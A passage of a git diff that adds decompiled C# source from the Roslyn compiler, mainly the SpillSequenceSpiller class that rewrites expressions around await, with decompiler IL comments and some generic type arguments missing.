root.SyntaxTree, ((SemanticModel)parentSemanticModel).IgnoresAccessibility) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + _parentSemanticModel = parentSemanticModel; + _root = root; + _rootBinder = rootBinder; + _position = position; + _bindingOption = bindingOption; + } + + internal override BoundNode Bind(Binder binder, CSharpSyntaxNode node, BindingDiagnosticBag diagnostics) + { + return _parentSemanticModel.Bind(binder, node, diagnostics); + } + + internal override Binder GetEnclosingBinderInternal(int position) + { + return _rootBinder; + } + + private SpeculativeBindingOption GetSpeculativeBindingOption(ExpressionSyntax node) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (SyntaxFacts.IsInNamespaceOrTypeContext(node)) + { + return (SpeculativeBindingOption)1; + } + return _bindingOption; + } + + internal override SymbolInfo GetSymbolInfoWorker(CSharpSyntaxNode node, SymbolInfoOptions options, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (node is CrefSyntax cref) + { + return _parentSemanticModel.GetSpeculativeSymbolInfo(_position, cref, options); + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)node; + if ((options & SymbolInfoOptions.PreserveAliases) != 0) + { + return new SymbolInfo((ISymbol)(object)((SemanticModel)_parentSemanticModel).GetSpeculativeAliasInfo(_position, (SyntaxNode)(object)expressionSyntax, GetSpeculativeBindingOption(expressionSyntax))); + } + return _parentSemanticModel.GetSpeculativeSymbolInfo(_position, expressionSyntax, GetSpeculativeBindingOption(expressionSyntax)); + } + + internal override CSharpTypeInfo GetTypeInfoWorker(CSharpSyntaxNode node, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + ExpressionSyntax expressionSyntax = (ExpressionSyntax)node; + return _parentSemanticModel.GetSpeculativeTypeInfoWorker(_position, expressionSyntax, GetSpeculativeBindingOption(expressionSyntax)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpillSequenceSpiller.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpillSequenceSpiller.cs new file mode 100644 index 0000000..ff40974 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SpillSequenceSpiller.cs @@ -0,0 +1,1232 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.CodeGen; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SpillSequenceSpiller : BoundTreeRewriterWithStackGuard +{ + private sealed class BoundSpillSequenceBuilder : BoundExpression + { + public readonly BoundExpression Value; + + private ArrayBuilder _locals; + + private ArrayBuilder _statements; + + public bool HasStatements => _statements != null; + + public bool HasLocals => _locals != null; + + public BoundSpillSequenceBuilder(SyntaxNode syntax, BoundExpression value = null) + : base((BoundKind)255, syntax, value?.Type) + { + Value = value; + } + + public ImmutableArray GetLocals() + { + if (_locals != null) + { + return _locals.ToImmutable(); + } + return ImmutableArray.Empty; + } + + public ImmutableArray GetStatements() + { + if (_statements == null) + { + return ImmutableArray.Empty; + } + return _statements.ToImmutable(); + } + + internal BoundSpillSequenceBuilder Update(BoundExpression value) + { + return new BoundSpillSequenceBuilder(Syntax, value) + { + _locals = _locals, + _statements = _statements + }; + } + + public void Free() + { + if (_locals != null) + { + _locals.Free(); + } + if (_statements != null) + { + _statements.Free(); + } + } + + internal void Include(BoundSpillSequenceBuilder other) + { + if (other != null) + { + IncludeAndFree(ref _locals, ref other._locals); + IncludeAndFree(ref _statements, ref other._statements); + } + } + + private static void IncludeAndFree(ref ArrayBuilder left, ref ArrayBuilder right) + { + if (right != null) + { + if (left == null) + { + left = right; + return; + } + left.AddRange(right); + right.Free(); + } + } + + public void AddLocal(LocalSymbol local) + { + if (_locals == null) + { + _locals = ArrayBuilder.GetInstance(); + } + _locals.Add(local); + } + + public void AddLocals(ImmutableArray locals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + AddLocal(current); + } + } + + public void AddStatement(BoundStatement statement) + { + if (_statements == null) + { + _statements = ArrayBuilder.GetInstance(); + } + _statements.Add(statement); + } + + public void AddStatements(ImmutableArray statements) + { + ImmutableArray.Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + AddStatement(current); + } + } + + internal void AddExpressions(ImmutableArray expressions) + { + ImmutableArray.Enumerator enumerator = expressions.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + AddStatement(new BoundExpressionStatement(current.Syntax, current) + { + WasCompilerGenerated = true + }); + } + } + } + + private sealed class LocalSubstituter : BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private readonly PooledDictionary _tempSubstitution; + + private readonly PooledDictionary _receiverSubstitution; + + private LocalSubstituter(PooledDictionary tempSubstitution, PooledDictionary receiverSubstitution, int recursionDepth = 0) + : base(recursionDepth) + { + _tempSubstitution = tempSubstitution; + _receiverSubstitution = receiverSubstitution; + } + + public static BoundNode Rewrite(PooledDictionary tempSubstitution, PooledDictionary receiverSubstitution, BoundNode node) + { + if (((Dictionary)(object)tempSubstitution).Count == 0) + { + return node; + } + return new LocalSubstituter(tempSubstitution, receiverSubstitution).Visit(node); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + if (!SynthesizedLocalKindExtensions.IsLongLived(node.LocalSymbol.SynthesizedKind)) + { + if (((Dictionary)(object)_tempSubstitution).TryGetValue(node.LocalSymbol, out LocalSymbol value)) + { + return node.Update(value, node.ConstantValueOpt, node.Type); + } + if (((Dictionary)(object)_receiverSubstitution).TryGetValue(node.LocalSymbol, out BoundComplexConditionalReceiver value2)) + { + return Visit(value2); + } + } + return base.VisitLocal(node); + } + } + + private sealed class ConditionalReceiverReplacer : BoundTreeRewriterWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private readonly BoundExpression _receiver; + + private readonly int _receiverId; + + private ConditionalReceiverReplacer(BoundExpression receiver, int receiverId, int recursionDepth) + : base(recursionDepth) + { + _receiver = receiver; + _receiverId = receiverId; + } + + public static BoundStatement Replace(BoundNode node, BoundExpression receiver, int receiverID, int recursionDepth) + { + return (BoundStatement)new ConditionalReceiverReplacer(receiver, receiverID, recursionDepth).Visit(node); + } + + public override BoundNode VisitConditionalReceiver(BoundConditionalReceiver node) + { + if (node.Id == _receiverId) + { + return _receiver; + } + return node; + } + } + + private const BoundKind SpillSequenceBuilderKind = (BoundKind)255; + + private readonly SyntheticBoundNodeFactory _F; + + private readonly PooledDictionary _tempSubstitution; + + private readonly PooledDictionary _receiverSubstitution; + + private SpillSequenceSpiller(MethodSymbol method, SyntaxNode syntaxNode, TypeCompilationState compilationState, PooledDictionary tempSubstitution, PooledDictionary receiverSubstitution, BindingDiagnosticBag diagnostics) + { + _F = new SyntheticBoundNodeFactory(method, syntaxNode, compilationState, diagnostics); + _F.CurrentFunction = method; + _tempSubstitution = tempSubstitution; + _receiverSubstitution = receiverSubstitution; + } + + internal static BoundStatement Rewrite(BoundStatement body, MethodSymbol method, TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + PooledDictionary instance = PooledDictionary.GetInstance(); + PooledDictionary instance2 = PooledDictionary.GetInstance(); + BoundNode node = new SpillSequenceSpiller(method, body.Syntax, compilationState, instance, instance2, diagnostics).Visit(body); + node = LocalSubstituter.Rewrite(instance, instance2, node); + instance.Free(); + instance2.Free(); + return (BoundStatement)node; + } + + private BoundExpression VisitExpression(ref BoundSpillSequenceBuilder builder, BoundExpression expression) + { + BoundExpression boundExpression = (BoundExpression)Visit(expression); + if (boundExpression == null || boundExpression.Kind != (BoundKind)255) + { + return boundExpression; + } + BoundSpillSequenceBuilder boundSpillSequenceBuilder = (BoundSpillSequenceBuilder)boundExpression; + if (builder == null) + { + builder = boundSpillSequenceBuilder.Update(null); + } + else + { + builder.Include(boundSpillSequenceBuilder); + } + return boundSpillSequenceBuilder.Value; + } + + private static BoundExpression UpdateExpression(BoundSpillSequenceBuilder builder, BoundExpression expression) + { + if (builder == null) + { + return expression; + } + if (!builder.HasLocals && !builder.HasStatements) + { + builder.Free(); + return expression; + } + return builder.Update(expression); + } + + private BoundStatement UpdateStatement(BoundSpillSequenceBuilder builder, BoundStatement statement) + { + if (builder == null) + { + return statement; + } + if (statement != null) + { + builder.AddStatement(statement); + } + BoundBlock result = new BoundBlock(statement.Syntax, builder.GetLocals(), builder.GetStatements()) + { + WasCompilerGenerated = true + }; + builder.Free(); + return result; + } + + private BoundExpression Spill(BoundSpillSequenceBuilder builder, BoundExpression expression, RefKind refKind = (RefKind)0, bool sideEffectsOnly = false) + { + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_0273: Unknown result type (might be due to invalid IL or missing references) + //IL_029f: Unknown result type (might be due to invalid IL or missing references) + //IL_02a6: Invalid comparison between Unknown and I4 + //IL_02dd: Unknown result type (might be due to invalid IL or missing references) + //IL_02cb: Unknown result type (might be due to invalid IL or missing references) + //IL_0333: Unknown result type (might be due to invalid IL or missing references) + //IL_0586: Unknown result type (might be due to invalid IL or missing references) + //IL_02a8: Unknown result type (might be due to invalid IL or missing references) + //IL_0288: Unknown result type (might be due to invalid IL or missing references) + //IL_02fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0386: Unknown result type (might be due to invalid IL or missing references) + //IL_0507: Unknown result type (might be due to invalid IL or missing references) + //IL_0437: Unknown result type (might be due to invalid IL or missing references) + if (builder.Syntax != null) + { + _F.Syntax = builder.Syntax; + } + while (true) + { + switch (expression.Kind) + { + case BoundKind.ArrayInitialization: + { + BoundArrayInitialization boundArrayInitialization = (BoundArrayInitialization)expression; + ImmutableArray initializers = VisitExpressionList(ref builder, boundArrayInitialization.Initializers, default(ImmutableArray), forceSpill: true); + return boundArrayInitialization.Update(initializers); + } + case BoundKind.ArgListOperator: + { + BoundArgListOperator boundArgListOperator = (BoundArgListOperator)expression; + ImmutableArray arguments = VisitExpressionList(ref builder, boundArgListOperator.Arguments, boundArgListOperator.ArgumentRefKindsOpt, forceSpill: true); + return boundArgListOperator.Update(arguments, boundArgListOperator.ArgumentRefKindsOpt, boundArgListOperator.Type); + } + case (BoundKind)255: + { + BoundSpillSequenceBuilder boundSpillSequenceBuilder = (BoundSpillSequenceBuilder)expression; + builder.Include(boundSpillSequenceBuilder); + expression = boundSpillSequenceBuilder.Value; + continue; + } + case BoundKind.Sequence: + { + if ((int)refKind == 0) + { + TypeSymbol? type = expression.Type; + if ((object)type == null || !type.IsRefLikeType) + { + break; + } + } + BoundSequence boundSequence = (BoundSequence)expression; + PromoteAndAddLocals(builder, boundSequence.Locals); + builder.AddExpressions(boundSequence.SideEffects); + expression = boundSequence.Value; + continue; + } + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)expression; + if (!boundAssignmentOperator.IsRef) + { + break; + } + if (boundAssignmentOperator != null) + { + BoundExpression left = boundAssignmentOperator.Left; + if (left != null && left.Kind == BoundKind.Local) + { + BoundExpression right = boundAssignmentOperator.Right; + if (right != null && right.Kind == BoundKind.ArrayAccess) + { + break; + } + } + } + if (sideEffectsOnly && IsComplexConditionalInitializationOfReceiverRef(boundAssignmentOperator, out var outReceiverRefLocal, out var outComplexReceiver, out var outValueTypeReceiver, out var outReferenceTypeReceiver)) + { + builder.AddStatement(_F.ExpressionStatement(outComplexReceiver)); + ((Dictionary)(object)_receiverSubstitution).Add(outReceiverRefLocal, outComplexReceiver.Update(outValueTypeReceiver, outReferenceTypeReceiver, outComplexReceiver.Type)); + return null; + } + BoundExpression left2 = Spill(builder, boundAssignmentOperator.Left, (RefKind)1); + BoundExpression right2 = Spill(builder, boundAssignmentOperator.Right, (RefKind)1); + expression = boundAssignmentOperator.Update(left2, right2, boundAssignmentOperator.IsRef, boundAssignmentOperator.Type); + break; + } + case BoundKind.ThisReference: + case BoundKind.BaseReference: + if ((int)refKind != 0 || expression.Type.IsReferenceType) + { + return expression; + } + break; + case BoundKind.Parameter: + if ((int)refKind != 0) + { + return expression; + } + break; + case BoundKind.Local: + { + BoundLocal boundLocal = (BoundLocal)expression; + if ((int)boundLocal.LocalSymbol.SynthesizedKind == 28 || (int)refKind != 0) + { + return boundLocal; + } + break; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expression; + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if (fieldSymbol.IsStatic) + { + if ((int)refKind != 0 || fieldSymbol.IsReadOnly) + { + return boundFieldAccess; + } + } + else if ((int)refKind != 0) + { + BoundExpression receiver = Spill(builder, boundFieldAccess.ReceiverOpt, (RefKind)(fieldSymbol.ContainingType.IsValueType ? ((int)refKind) : 0)); + return boundFieldAccess.Update(receiver, fieldSymbol, boundFieldAccess.ConstantValueOpt, boundFieldAccess.ResultKind, boundFieldAccess.Type); + } + break; + } + case BoundKind.TypeExpression: + case BoundKind.Literal: + return expression; + case BoundKind.ConditionalReceiver: + return expression; + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)expression; + if ((int)refKind != 0) + { + MethodSymbol originalDefinition = boundCall.Method.OriginalDefinition; + if ((originalDefinition is SynthesizedInlineArrayFirstElementRefMethod || originalDefinition is SynthesizedInlineArrayFirstElementRefReadOnlyMethod) ? true : false) + { + return boundCall.Update(ImmutableArray.Create(Spill(builder, boundCall.Arguments[0], boundCall.ArgumentRefKindsOpt[0]))); + } + originalDefinition = boundCall.Method.OriginalDefinition; + if ((originalDefinition is SynthesizedInlineArrayElementRefMethod || originalDefinition is SynthesizedInlineArrayElementRefReadOnlyMethod) ? true : false) + { + return spillInlineArrayHelperWithTwoArguments(builder, boundCall); + } + if (boundCall.Method.OriginalDefinition == _F.Compilation.GetWellKnownTypeMember((WellKnownMember)400) || boundCall.Method.OriginalDefinition == _F.Compilation.GetWellKnownTypeMember((WellKnownMember)406)) + { + return boundCall.Update(Spill(builder, boundCall.ReceiverOpt, ReceiverSpillRefKind(boundCall.ReceiverOpt)), (ThreeState)0, boundCall.Method, ImmutableArray.Create(Spill(builder, boundCall.Arguments[0], (RefKind)0))); + } + } + else + { + MethodSymbol originalDefinition = boundCall.Method.OriginalDefinition; + if ((originalDefinition is SynthesizedInlineArrayAsSpanMethod || originalDefinition is SynthesizedInlineArrayAsReadOnlySpanMethod) ? true : false) + { + return spillInlineArrayHelperWithTwoArguments(builder, boundCall); + } + if (boundCall.Method.OriginalDefinition == _F.Compilation.GetWellKnownTypeMember((WellKnownMember)402) || boundCall.Method.OriginalDefinition == _F.Compilation.GetWellKnownTypeMember((WellKnownMember)408)) + { + return boundCall.Update(Spill(builder, boundCall.ReceiverOpt, ReceiverSpillRefKind(boundCall.ReceiverOpt)), (ThreeState)0, boundCall.Method, ImmutableArray.Create(Spill(builder, boundCall.Arguments[0], (RefKind)0), Spill(builder, boundCall.Arguments[1], (RefKind)0))); + } + } + break; + } + } + break; + } + if (expression.Type.IsVoidType() || sideEffectsOnly) + { + builder.AddStatement(_F.ExpressionStatement(expression)); + return null; + } + BoundAssignmentOperator store; + BoundLocal boundLocal2 = _F.StoreToTemp(expression, out store, refKind, (SynthesizedLocalKind)28, isKnownToReferToTempIfReferenceType: false, _F.Syntax); + builder.AddLocal(boundLocal2.LocalSymbol); + builder.AddStatement(_F.ExpressionStatement(store)); + return boundLocal2; + BoundExpression spillInlineArrayHelperWithTwoArguments(BoundSpillSequenceBuilder builder2, BoundCall call) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return call.Update(ImmutableArray.Create(Spill(builder2, call.Arguments[0], call.ArgumentRefKindsOpt[0]), (call.Arguments[1].ConstantValueOpt != null) ? call.Arguments[1] : Spill(builder2, call.Arguments[1], (RefKind)0))); + } + } + + internal static bool IsComplexConditionalInitializationOfReceiverRef(BoundAssignmentOperator assignment, out LocalSymbol outReceiverRefLocal, out BoundComplexConditionalReceiver outComplexReceiver, out BoundLocal outValueTypeReceiver, out BoundLocal outReferenceTypeReceiver) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Invalid comparison between Unknown and I4 + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Invalid comparison between Unknown and I4 + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Invalid comparison between Unknown and I4 + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Invalid comparison between Unknown and I4 + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Invalid comparison between Unknown and I4 + //IL_016c: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Invalid comparison between Unknown and I4 + //IL_019e: Unknown result type (might be due to invalid IL or missing references) + //IL_01a5: Invalid comparison between Unknown and I4 + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Invalid comparison between Unknown and I4 + if (assignment != null && assignment.IsRef && assignment.Left is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.SynthesizedKind == -2 && (int)localSymbol.RefKind == 1 && assignment.Right is BoundComplexConditionalReceiver { ValueTypeReceiver: BoundLocal valueTypeReceiver } boundComplexConditionalReceiver) + { + LocalSymbol localSymbol2 = valueTypeReceiver.LocalSymbol; + if ((object)localSymbol2 != null && (int)localSymbol2.SynthesizedKind == -2 && (int)localSymbol2.RefKind == 1 && boundComplexConditionalReceiver.ReferenceTypeReceiver is BoundSequence boundSequence && boundSequence.Locals.IsEmpty) + { + ImmutableArray sideEffects = boundSequence.SideEffects; + if (sideEffects.Length == 1 && sideEffects[0] is BoundAssignmentOperator { IsRef: false, Left: BoundLocal left } boundAssignmentOperator) + { + LocalSymbol localSymbol3 = left.LocalSymbol; + if ((object)localSymbol3 != null && (int)localSymbol3.SynthesizedKind == -2 && (int)localSymbol3.RefKind == 0 && boundAssignmentOperator.Right is BoundLocal boundLocal2) + { + LocalSymbol localSymbol4 = boundLocal2.LocalSymbol; + if ((object)localSymbol4 != null && (int)localSymbol4.SynthesizedKind == -2 && (int)localSymbol4.RefKind == 1 && boundSequence.Value is BoundLocal boundLocal3) + { + LocalSymbol localSymbol5 = boundLocal3.LocalSymbol; + if ((object)localSymbol5 != null && (int)localSymbol5.SynthesizedKind == -2 && (int)localSymbol5.RefKind == 0 && (object)localSymbol3 == boundLocal3.LocalSymbol && (object)localSymbol4 == valueTypeReceiver.LocalSymbol && (object)localSymbol != valueTypeReceiver.LocalSymbol && (object)localSymbol != localSymbol3 && localSymbol.Type.IsTypeParameter() && !localSymbol.Type.IsReferenceType && !localSymbol.Type.IsValueType && valueTypeReceiver.Type.Equals(localSymbol.Type, (TypeCompareKind)63) && boundLocal3.Type.Equals(localSymbol.Type, (TypeCompareKind)63)) + { + outReceiverRefLocal = localSymbol; + outComplexReceiver = boundComplexConditionalReceiver; + outValueTypeReceiver = valueTypeReceiver; + outReferenceTypeReceiver = boundLocal3; + return true; + } + } + } + } + } + } + } + outReceiverRefLocal = null; + outComplexReceiver = null; + outValueTypeReceiver = null; + outReferenceTypeReceiver = null; + return false; + } + + private ImmutableArray VisitExpressionList(ref BoundSpillSequenceBuilder builder, ImmutableArray args, ImmutableArray refKinds = default(ImmutableArray), bool forceSpill = false, bool sideEffectsOnly = false) + { + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + if (args.Length == 0) + { + return args; + } + ImmutableArray result = VisitList(args); + int num; + if (forceSpill) + { + num = result.Length; + } + else + { + num = -1; + for (int num2 = result.Length - 1; num2 >= 0; num2--) + { + if (result[num2].Kind == (BoundKind)255) + { + num = num2; + break; + } + } + } + if (num == -1) + { + return result; + } + if (builder == null) + { + builder = new BoundSpillSequenceBuilder((num >= result.Length) ? null : (result[num] as BoundSpillSequenceBuilder)?.Syntax); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(result.Length); + for (int i = 0; i < num; i++) + { + RefKind refKind = (RefKind)((!refKinds.IsDefault) ? ((int)refKinds[i]) : 0); + BoundExpression boundExpression = Spill(builder, result[i], refKind, sideEffectsOnly); + if (!sideEffectsOnly) + { + instance.Add(boundExpression); + } + } + if (num < result.Length) + { + BoundSpillSequenceBuilder boundSpillSequenceBuilder = (BoundSpillSequenceBuilder)result[num]; + builder.Include(boundSpillSequenceBuilder); + instance.Add(boundSpillSequenceBuilder.Value); + for (int j = num + 1; j < result.Length; j++) + { + instance.Add(result[j]); + } + } + return instance.ToImmutableAndFree(); + } + + public override BoundNode VisitSwitchDispatch(BoundSwitchDispatch node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateStatement(builder, node.Update(expression, node.Cases, node.DefaultLabel, node.LengthBasedStringSwitchDataOpt)); + } + + public override BoundNode VisitThrowStatement(BoundThrowStatement node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expressionOpt = VisitExpression(ref builder, node.ExpressionOpt); + return UpdateStatement(builder, node.Update(expressionOpt)); + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateStatement(builder, node.Update(expression)); + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression condition = VisitExpression(ref builder, node.Condition); + return UpdateStatement(builder, node.Update(condition, node.JumpIfTrue, node.Label)); + } + + public override BoundNode VisitReturnStatement(BoundReturnStatement node) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + BoundSpillSequenceBuilder builder = null; + BoundExpression expressionOpt = VisitExpression(ref builder, node.ExpressionOpt); + return UpdateStatement(builder, node.Update(node.RefKind, expressionOpt, node.Checked)); + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateStatement(builder, node.Update(expression)); + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + BoundExpression exceptionSourceOpt = (BoundExpression)Visit(node.ExceptionSourceOpt); + ImmutableArray locals = node.Locals; + BoundStatementList exceptionFilterPrologueOpt = node.ExceptionFilterPrologueOpt; + BoundSpillSequenceBuilder builder = null; + BoundExpression exceptionFilterOpt = VisitExpression(ref builder, node.ExceptionFilterOpt); + if (builder != null) + { + locals = locals.AddRange(builder.GetLocals()); + exceptionFilterPrologueOpt = new BoundStatementList(node.Syntax, builder.GetStatements()); + } + BoundBlock body = (BoundBlock)Visit(node.Body); + TypeSymbol exceptionTypeOpt = VisitType(node.ExceptionTypeOpt); + return node.Update(locals, exceptionSourceOpt, exceptionTypeOpt, exceptionFilterPrologueOpt, exceptionFilterOpt, body, node.IsSynthesizedAsyncCatchAll); + } + + public override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateExpression(builder, node.Update(expression, node.AwaitableInfo, node.DebugInfo, node.Type)); + } + + public override BoundNode VisitSpillSequence(BoundSpillSequence node) + { + BoundSpillSequenceBuilder builder = new BoundSpillSequenceBuilder(node.Syntax); + _F.Syntax = node.Syntax; + builder.AddStatements(VisitList(node.SideEffects)); + builder.AddLocals(node.Locals); + BoundExpression value = VisitExpression(ref builder, node.Value); + return builder.Update(value); + } + + public override BoundNode VisitAddressOfOperator(BoundAddressOfOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(operand, node.IsManaged, node.Type)); + } + + public override BoundNode VisitArgListOperator(BoundArgListOperator node) + { + BoundSpillSequenceBuilder builder = null; + ImmutableArray arguments = VisitExpressionList(ref builder, node.Arguments); + return UpdateExpression(builder, node.Update(arguments, node.ArgumentRefKindsOpt, node.Type)); + } + + public override BoundNode VisitArrayAccess(BoundArrayAccess node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + BoundSpillSequenceBuilder builder2 = null; + ImmutableArray indices = VisitExpressionList(ref builder2, node.Indices); + if (builder2 != null) + { + if (builder == null) + { + builder = new BoundSpillSequenceBuilder(builder2.Syntax); + } + expression = Spill(builder, expression, (RefKind)0); + } + if (builder != null) + { + builder.Include(builder2); + builder2 = builder; + builder = null; + } + return UpdateExpression(builder2, node.Update(expression, indices, node.Type)); + } + + public override BoundNode VisitArrayCreation(BoundArrayCreation node) + { + BoundSpillSequenceBuilder builder = null; + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)VisitExpression(ref builder, node.InitializerOpt); + ImmutableArray bounds; + if (builder == null) + { + bounds = VisitExpressionList(ref builder, node.Bounds); + } + else + { + BoundSpillSequenceBuilder builder2 = new BoundSpillSequenceBuilder(builder.Syntax); + bounds = VisitExpressionList(ref builder2, node.Bounds, default(ImmutableArray), forceSpill: true); + builder2.Include(builder); + builder = builder2; + } + return UpdateExpression(builder, node.Update(bounds, initializerOpt, node.Type)); + } + + public override BoundNode VisitArrayInitialization(BoundArrayInitialization node) + { + BoundSpillSequenceBuilder builder = null; + ImmutableArray initializers = VisitExpressionList(ref builder, node.Initializers); + return UpdateExpression(builder, node.Update(initializers)); + } + + public override BoundNode VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression count = VisitExpression(ref builder, node.Count); + BoundArrayInitialization initializerOpt = (BoundArrayInitialization)VisitExpression(ref builder, node.InitializerOpt); + return UpdateExpression(builder, node.Update(node.ElementType, count, initializerOpt, node.Type)); + } + + public override BoundNode VisitArrayLength(BoundArrayLength node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression expression = VisitExpression(ref builder, node.Expression); + return UpdateExpression(builder, node.Update(expression, node.Type)); + } + + public override BoundNode VisitAsOperator(BoundAsOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression operand = VisitExpression(ref builder, node.Operand); + return UpdateExpression(builder, node.Update(operand, node.TargetType, node.OperandPlaceholder, node.OperandConversion, node.Type)); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + BoundSpillSequenceBuilder builder = null; + BoundExpression right = VisitExpression(ref builder, node.Right); + BoundExpression boundExpression = node.Left; + if (builder == null) + { + boundExpression = VisitExpression(ref builder, boundExpression); + } + else + { + BoundSpillSequenceBuilder leftBuilder = new BoundSpillSequenceBuilder(builder.Syntax); + switch (boundExpression.Kind) + { + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)boundExpression; + if (!boundFieldAccess.FieldSymbol.IsStatic) + { + boundExpression = fieldWithSpilledReceiver(boundFieldAccess, ref leftBuilder, isAssignmentTarget: true); + } + break; + } + case BoundKind.ArrayAccess: + { + BoundArrayAccess boundArrayAccess = (BoundArrayAccess)boundExpression; + BoundExpression expression = VisitExpression(ref leftBuilder, boundArrayAccess.Expression); + expression = Spill(leftBuilder, expression, (RefKind)0); + ImmutableArray indices = VisitExpressionList(ref leftBuilder, boundArrayAccess.Indices, default(ImmutableArray), forceSpill: true); + boundExpression = boundArrayAccess.Update(expression, indices, boundArrayAccess.Type); + break; + } + default: + boundExpression = Spill(leftBuilder, VisitExpression(ref leftBuilder, boundExpression), (RefKind)1); + break; + case BoundKind.Local: + case BoundKind.Parameter: + break; + } + leftBuilder.Include(builder); + builder = leftBuilder; + } + return UpdateExpression(builder, node.Update(boundExpression, right, node.IsRef, node.Type)); + BoundExpression fieldWithSpilledReceiver(BoundFieldAccess field, ref BoundSpillSequenceBuilder reference, bool isAssignmentTarget) + { + bool flag = false; + if (!field.FieldSymbol.IsStatic) + { + BoundExpression boundExpression2; + if (field.FieldSymbol.ContainingType.IsReferenceType) + { + boundExpression2 = Spill(reference, VisitExpression(ref reference, field.ReceiverOpt), (RefKind)0); + flag = !isAssignmentTarget; + } + else if (field.ReceiverOpt is BoundArrayAccess boundArrayAccess2) + { + BoundExpression expression2 = VisitExpression(ref reference, boundArrayAccess2.Expression); + expression2 = Spill(reference, expression2, (RefKind)0); + ImmutableArray indices2 = VisitExpressionList(ref reference, boundArrayAccess2.Indices, default(ImmutableArray), forceSpill: true); + boundExpression2 = boundArrayAccess2.Update(expression2, indices2, boundArrayAccess2.Type); + Spill(reference, boundExpression2, (RefKind)0, sideEffectsOnly: true); + } + else + { + boundExpression2 = ((!(field.ReceiverOpt is BoundFieldAccess field2)) ? Spill(reference, VisitExpression(ref reference, field.ReceiverOpt), (RefKind)1) : fieldWithSpilledReceiver(field2, ref reference, isAssignmentTarget: false)); + } + field = field.Update(boundExpression2, field.FieldSymbol, field.ConstantValueOpt, field.ResultKind, 